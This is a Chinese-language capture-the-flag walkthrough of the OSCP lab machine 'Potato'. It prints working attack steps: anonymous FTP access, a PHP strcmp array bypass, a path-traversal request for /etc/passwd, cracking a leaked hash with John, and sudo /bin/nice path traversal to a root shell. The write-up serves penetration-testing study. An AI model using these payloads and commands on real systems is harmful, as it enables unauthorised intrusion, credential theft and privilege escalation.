从WEB到内网&&代码审计&&strcmp绕过&&sudo提权 ----- 打靶经验分享
字数 1203 2025-08-10 13:48:25
OSCP靶机渗透实战教学文档
靶机名称: Potato
难度: 中等偏高
涉及技术: 端口探测、服务探测、SSH爆破、FTP匿名登录、代码审计、strcmp绕过、John爆破、sudo提权
一、环境准备
- 攻击机配置
- IP:
192.168.45.173 - 工具: Nmap、Dirsearch、Burp Suite、Hydra、John the Ripper
- IP:
- 靶机信息
- IP:
192.168.215.101 - 开放端口:
22 (SSH)、80 (HTTP)、2112 (FTP)
- IP:
二、信息收集
-
端口扫描
nmap --min-rate 10000 -p- 192.168.215.101 # 快速扫描全端口 nmap -p 22,80,2112 -sV 192.168.215.101 # 服务版本探测- 结果:
22/tcp: OpenSSH 8.2p180/tcp: Apache 2.4.412112/tcp: ProFTPD
- 结果:
-
Web目录枚举
dirsearch -u http://192.168.215.101/- 关键路径:
/admin/(登录页面)/admin/logs/(日志目录)
- 关键路径:
-
FTP匿名登录
ftp 192.168.215.101 -p 2112 username: anonymous- 下载文件:
index.php.bak、welcome.msg - 分析:
index.php.bak暴露登录逻辑(PHP代码)。
- 下载文件:
三、漏洞利用
-
strcmp登录绕过
- 漏洞点:
if (strcmp($_POST['password'], $valid_password) == 0) { /* 登录成功 */ } - 绕过方法: 传入数组使
strcmp返回0- Burp修改请求:
{"username":"admin", "password[]":1}
- Burp修改请求:
- 结果: 成功登录后台。
- 漏洞点:
-
文件读取漏洞
- 利用路径穿越读取
/etc/passwd:POST /admin/logs/ HTTP/1.1 file=../../../../../etc/passwd - 获取用户哈希:
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
- 利用路径穿越读取
-
John爆破SSH密码
echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > passwd.hash john --wordlist=/usr/share/wordlists/rockyou.txt passwd.hash- 爆破结果:
dragon - SSH登录:
ssh webadmin@192.168.215.101
- 爆破结果:
四、权限提升
-
枚举提权路径
sudo -l- 输出:
(ALL : ALL) /bin/nice /notes/*
- 输出:
-
利用GTFOBins提权
- 步骤:
cd /tmp echo '/bin/sh -p' > shell chmod +x shell sudo /bin/nice /notes/../../tmp/shell - 结果: 获取root权限。
- 步骤:
-
获取Flag
- User Flag:
/home/webadmin/local.txt - Root Flag:
/root/proof.txt
- User Flag:
五、关键知识点总结
- strcmp绕过: PHP弱类型比较漏洞,传入非字符串类型触发错误返回
0。 - 文件读取: 路径穿越需测试多层目录(如
../../../../)。 - sudo提权: 利用可执行命令的路径限制绕过(
../跳转)。 - 密码爆破: John需指定哈希类型(本例为
md5crypt)。
附录:工具命令速查
| 工具 | 命令示例 |
|---|---|
| Nmap | nmap -sV -p 22,80,2112 <IP> |
| Hydra | hydra -l root -P wordlist.txt ssh://<IP> |
| John | john --format=md5crypt hashfile |
免责声明: 本文仅用于教学,实际渗透需获得合法授权。